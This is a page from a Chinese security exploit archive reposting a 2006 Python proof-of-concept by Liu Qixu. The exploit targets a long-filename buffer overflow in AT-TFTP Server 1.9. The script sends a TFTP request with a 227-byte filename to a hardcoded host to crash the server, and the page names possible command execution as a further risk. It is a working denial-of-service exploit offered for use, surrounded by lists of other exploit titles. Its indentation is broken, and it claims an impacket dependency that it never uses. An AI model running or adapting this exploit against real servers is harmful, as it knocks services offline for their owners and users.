首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
AT-TFTP <= 1.9 (Long Filename) Remote Buffer Overflow PoC
来源:NCNIPC 作者:Liu Qixu 发布时间:2006-11-28  

#!/usr/bin/python
# SUMMARY:
# AT-TFTP Server is a Freeware TFTP server for Windows 9x/NT/XP.
# (http://www.alliedtelesyn.co.uk/en-gb/support/downloads/tools.asp)
# It provides an implementation of the TFTPv2 protocol.
# A vulnerability has been identified in TFTP Server AT-TFTP Server v1.9, which
# could be exploited by remote or local attackers to execute arbitrary commands
# or cause a denial of service. This flaw is due to a buffer overflow error when
# handling an overly long file name (more than 227 bytes) passed to a "GET" or "PUT"
# command, which could be exploited by malicious users to compromise a vulnerable
# system or crash an affected application.
# EXPLOIT:
# Buffer Overflow (Long filename) Vulnerability Exploit
# This is just a DoS exploiting code
# Tested on Windows xp SP2
#
# Requires python and impacket
#
# Coded by Liu Qixu Of NCNIPC

import socket
import sys

host = '192.168.1.11'
port = 69

try:
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
except:
print "socket() failed"
sys.exit(1)

filename = "A" * 227
mode = "netascii"
data = "\x00\x02" + filename + "\0" + mode + "\0"
s.sendto(data, (host, port))



 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Oracle <= 9i / 10g (read/wr
·ProFTPD 1.3.0 (sreplace) Remot
·Aztek Forum 4.0 Multiple Vulne
·PHP <= 4.4.4/5.1.6 htmlenti
·Forum Livre 1.0 (SQL Injection
·Evince Document Viewer (Docume
·Microsoft Excel Malformed Pale
·Discuz! 4.x SQL Injection / Ad
·Xero Portal (phpbb_root_path)
·Quintessential Player <= 4.
·MS Windows Explorer (AVI) Unsp
·Songbird Media Player <= 0.
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved